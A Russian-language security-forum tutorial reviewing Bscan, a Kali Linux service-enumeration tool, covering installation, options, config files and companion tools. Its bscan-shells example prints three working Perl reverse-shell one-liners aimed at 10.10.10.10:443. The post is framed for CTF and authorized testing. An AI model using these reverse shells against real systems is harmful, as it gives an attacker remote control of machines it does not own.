• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Soft Bscan - инструмент асинхронного сканирования целей

26611


Доброго времени суток! Сегодня я хочу рассказать вам об интересном приложении Bscan.


Bscan - это утилита командной строки для активного сбора информации и перечисления сервисов. По своей сути, Bscan асинхронно создает процессы известных утилит сканирования, перенаправляя результаты сканирования в выделенный вывод консоли, структурировано сохраняя результаты в определенный каталог, который указал юзер ранее.


Установка


Bscan был написан под Kali Linux, но как утверждает создатель, если ваша OS имеет все нужные установленные утилиты, то программа должна работать без ошибок.

Если ваша ОС - Линукс, то следующая строка будет вам знакома и не сложна:


wget -O bscan https://releases.brianwel.ch/bscan/linux


Если же Виндоус, то команда будет довольна необычна:

powershell -c "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; wget 'https://releases.brianwel.ch/bscan/windows' -OutFile 'bscan.exe'"

Так же, одним из вариантов может быть установка через PyPi. Чтобы установить последнюю версию, нужно ввести следующую строку. Убедитесь что используете версию Python'а 3,6+ !:

pip install bscan

26613



В противном случае, при использовании версии 3,5 и меньше, будут возникать ошибки:


26614




Или же можно установить через ссылку github'а:

pip install https://github.com/welchbj/bscan/archive/master.tar.gz


Несколько слов о лицензии

Код выпущен под лицензией , что придает значимости проекта и утилиты.

Так же Bscan не является утилитой для проведения различных хакерских атак, при сборе информации, и других нелегальных вещей. Утилита была создана для учебных целей и мероприятий, к примеру для использования в CTF. Также код не должен запускаться на компьютерах и в сетях, без предварительного соглашения владельца.



Использование
Использовать bscan довольно удобно, как и все утилиты под Kali

Команда bscan —help демонстрирует большие возможности утилиты:

26615



Пример использования
Код:
$ bscan \
> --max-concurrency 3 \
> --patterns [Mm]icrosoft \
> --status-interval 10 \
> --verbose-status \
> scanme.nmap.org

Произведем разбор написанного:
  1. --max-concurrency 3 – это обозначает, что не больше чем 3 параллельных процессов сканирования будут запущенны вовремя.
  2. --patterns [Mm]icrosoft – определяет пользовательский шаблон регулярных выражений, с помощью которого можно выделить совпадения в сгенерированном результате сканирования.
  3. --status-interval 10 – сообщает bscan'у вывести на экран время выполнения каждые 10 секунд.
  4. --verbose-status – обозначает, что каждый из стаусов выполнения будет выводить детали обо всех процесов сканирования.
  5. scanme.nmap.org – непосредственно сам хост, над которым будут выполняться процессы.


Также, bscan полагается на дополнительные файлы конфигурации. Дефолтные файлы можно найти в директории bscan/configuation:

26617




  • patterns.txt - указывает шаблоны регулярных выражений, которые будут выделены в выводе консоли при сопоставлении с выводом сканирования.
26618


  • required-programs.txt - демонстрирует установленные программы, которые bscan планирует использовать.
26619


  • port-scans.toml - определяет сканирование на обнаружение портов, которое должно быть выполнено на цели /целях, а также регулярные выражения, используемые для анализа портов и имен служб из результатов сканирования
26624


  • service-scans.toml - определяет сканирование, выполняемое на цели (ях) для каждого основного сервиса.
26625



Сопутствующие инструменты
Основная утилита bscan идет вместе с двумя дополнительными утилитами (bscan-wordlists и bscan-shells), что бы сделать вашу жизнь чуточку легче при поиске списков слов и в попытке открыть обратный shell'ы.



Bscan-wordlists это программа созданная, как я уже описал выше для поиска файлов списков слов в Kali Linux (с другими дистрибутивами тоже работает, но с Kali все же лучше). Эта программа ищет несколько каталогов по умолчанию и допускает поиск по шаблонам поиска и сопоставление по названию файлов. Например:

Код:
$ bscan-wordlists --find "*win*"
/usr/share/wordlists/wfuzz/vulns/dirTraversal-win.txt
/usr/share/wordlists/metasploit/sensitive_files_win.txt
/usr/share/seclists/Passwords/common-passwords-win.txt


Так же bscan-wordlists —help позволит вам узнать другие функции утилиты:

26626



bscan-shells — программа, которая генерирует вариации одно строчных обратных shell“ов, с уже заполненной информацией: целью(или таргетом) и портом. Вот, к примеру, вариация шелов с целью — 10.10.10.10 и портом 443:

Код:
$ bscan-shells --port 443 10.10.10.10 | grep -i -A1 perl
perl for windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

perl with /bin/sh
perl -e 'use Socket;$i="10.10.10.10";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl without /bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


Так же обратите внимание, что bscan-shells выводит шеллы из конфигурационного файла reverse-shells.toml. И как всегда, --help поможет вам подробнее разобраться с доп. утилитой:

26627



Спасибо за внимание!
 

DarkDepth

Green Team
17.02.2019
79
20
BIT
0
Ну что, отличная статейка, радует глаз и дух.) Отлична.)
 
  • Нравится
Реакции: g00db0y
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!